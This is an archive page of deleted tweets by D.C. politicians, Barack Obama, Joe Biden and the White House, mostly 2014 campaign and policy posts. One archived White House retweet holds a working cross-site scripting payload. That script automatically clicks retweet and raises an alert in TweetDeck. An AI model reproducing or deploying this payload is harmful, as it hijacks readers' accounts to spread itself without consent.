Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

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Eleanor H. Norton (D) @EleanorNorton

@RepThomasMassie wants D.C. to be a gun free-for-all, but I'm not going to stand for an amendment that threatens its public safety.

Eleanor H. Norton (D) @EleanorNorton

Republican meddling in DC affairs learns DC doesn't take bullying laying down - Hits Harris where he lives in Ocean City. #BoycottOceanCity

MurielBowser (D) @MurielBowser

I invite you to walk DC’s Ward 3 neighborhood with me this Thursday, July 3rd! Meet us at 3 pm on MacArthur Blvd and 47th Pl. NW. #DCision14

The White House (D) @WhiteHouse

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Vincent C. Gray (D) @mayorvincegray

.@CrossFit As I've said several times publicly, I very much oppose this tax. It does not make sense to disincentivize fitness.

Joe Biden (D) @JoeBiden

RT to wish @DrBiden a very happy birthday!

MurielBowser (D) @MurielBowser

RT @DionTownley: Packed house at the @Ward4DemsDC meeting for Guest Speaker and Democratic Nominee @MurielBowser #all8wards #DCision14 http://t.co/14AET4rR7k

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The White House (D) @WhiteHouse

FACT: By 2030, new clean fuel standards will prevent up to 2,000 premature deaths EVERY YEAR. #ActOnClimate #EarthDay http://t.co/R3AIVQ6y5M

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Barack Obama (D) @BarackObama

"That's why 7.1 million people have health insurance—because people got the word out." —President Obama #TeamObamacare

Evans for Mayor (D) @EvansForMayor

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Jack and @PeteRossTweet in Ward 4. #ElectionDay #DCision14 http://t.co/3LWaaaAjoS

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Vincent C. Gray (D) @mayorvincegray

Missed my State of the District Address earlier this month? Read it here: http://t.co/qR9QeNqVjO

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Vincent C. Gray (D) @mayorvincegray

Missed my State of the District Address earlier this month? Read it here: http://t.co/IJbFcryCKY’s-2014-state-district-address

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Vincent C. Gray (D) @mayorvincegray

Missed my State of the District Address earlier this month? Read it here: http://t.co/IJbFcryCKY’s-2014-state-district-address

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Reta Jo Lewis (D) @RetaJoLewis

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RT @730_DC: RJL: "we have to get rid of career politicians" Allen: "politicians are like diapers. Change them often." No love for those at #DCdebate

Evans for Mayor (D) @EvansForMayor

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Jack Evans tells @News8NewsTalk that his vision is bolsted by his past accomplishments & ability to get important things done. #DCision14

Andy Shallal (D) @andyshallal

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RT @wcp: Watching @WUSA9 debate and wondering why @AndyShallal isn't there? So is he! http://t.co/so8B9ocrGd

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Reta Jo Lewis (D) @RetaJoLewis

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RT @petardimmy: Reta Lewis may not be a strong candidate, but today I've learned that she's a great babysitter

The White House (D) @WhiteHouse

"No one is invincible, so having health insurance is…a basic tenant of being a human." —@MrAdamScott: http://t.co/G6s5izNX1v #GetCoveredNow

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Evans for Mayor (D) @EvansForMayor

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Share this photo of Jack Evans at today's AARP Forum on issues affecting seniors in Ward 8. #All8Wards #DCision14 http://t.co/kGcN0lqUkX

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Evans for Mayor (D) @EvansForMayor

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Share this photo of Jack Evans today in Ward 8 for an AARP forum on issues affecting seniors. #DCision14

Evans for Mayor (D) @EvansForMayor

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On education, Jack Evans makes clear that he will keep Kaya He seems

Reta Jo Lewis (D) @RetaJoLewis

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Throwback Thursdays Reta Jo Lewis served the Clinton White Hpuse

Reta Jo Lewis (D) @RetaJoLewis

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@JIRosenberg Great, I'm glad to know you have now at least considered the alternatives.

Evans for Mayor (D) @EvansForMayor

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DC Homeowners set to receive "groundbreaking protections" due to new bill introduced by Jack. http://t.co/EL85mI5T3L (via @WashPostDC)

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Reta Jo Lewis (D) @RetaJoLewis

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@JIRosenberg literacy(c dictionary) Specifically ur pt? Bc I'm not understanding what ur not understanding Bc I'm understanding & ur not ;-)

Reta Jo Lewis (D) @RetaJoLewis

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ChocolateCity-alum 88-92@blacktwitterwelcomemanual#needsumsistahs#needallmypeeps

Reta Jo Lewis (D) @RetaJoLewis

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Many Early Voters met Reta Jo Lewis at One Judicary Square this morning. #DCision14

Reta Jo Lewis (D) @RetaJoLewis

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Many Early Voters met Reta Jo Lewis at one Judiciary Square this morning. #DCision14 http://t.co/YL9JSJlmyQ

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Vincent C. Gray (D) @mayorvincegray

Teach for America 4th Annual Gala

Vincent C. Gray (D) @mayorvincegray

We are here at Kelly Miller Middle School tonight b/c it's a shining example of the progress our Punic schools are making.

The White House (D) @WhiteHouse

RT @johnpodesta: I'm now tweeting in my role as Counselor to the President. For updates from inside the White House, follow me @podesta44

Vincent C. Gray (D) @mayorvincegray

RT @DDOTDC: Reminder: There is no @Metrobus or @DCCirculator bus service in the District today. @MetroRail is running smoothly.

Barack Obama (D) @BarackObama

"In some ways, the trends that had been battering middle class families for a long time have been getting even starker." —President Obama

Vincent C. Gray (D) @mayorvincegray

Looking forward to visiting @HowardU Middle School of Math & Science tomorrow morning. Great way to start the day. #STEM

Barack Obama (D) @BarackObama

There are many ways to get involved in the fight to #CoverAmerica. Read how Jeannette's making a difference: http://t.co/APXXsj8tYO

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Vincent C. Gray (D) @mayorvincegray

Today, we continued our investment in communities w/ re-opening of the Northeast Library: http://t.co/b6kSTep7nj http://t.co/R3bwaVP0qi

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Vincent C. Gray (D) @mayorvincegray

RT @AlexanderMPadro: At Chinese New Year luncheon with @mayorvincegray at Ming's Restaurant. Heading to parade next. http://t.co/xROsJnthW9

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Vincent C. Gray (D) @mayorvincegray

Gets my vote for best "state" flag. RT @GhostsofDC: At Last! #DC Finally Gets Its Own Flag http://t.co/xRBMv3g5pj

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Vincent C. Gray (D) @mayorvincegray

If you're on H Street NE right now, give me a wave. Riding on the new @DCStreetcar! @DDOTDC http://t.co/diQhJngbiY

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Vincent C. Gray (D) @mayorvincegray

If you're on H Street NE right now, give me a wave. Riding on the new @DCStreetcar! @DDOTDC http://t.co/CxVgPWWLrX

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Vincent C. Gray (D) @mayorvincegray

Since becoming mayor, 1,827 units of affordable housing have either come online or are under construction.

Vincent C. Gray (D) @mayorvincegray

Just last month, I announced an historic commitment of $187 million toward producing or preserving affordable housing.

Vincent C. Gray (D) @mayorvincegray

“They came for the bright lights of the city, and started dating and mating." http://t.co/LczgCMUkDY

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Vincent C. Gray (D) @mayorvincegray

Speaking live w/ @News8NewsTalk live from Southeast. Tune in to @NewsChannel8.

Vincent C. Gray (D) @mayorvincegray

RT @RTDSchapiro: #vagov A look at #Va guv credited w/ right-to-work law: Bill Tuck -- Old South-style D, right down to the bourbon http://t.co/OLupVGJMHV

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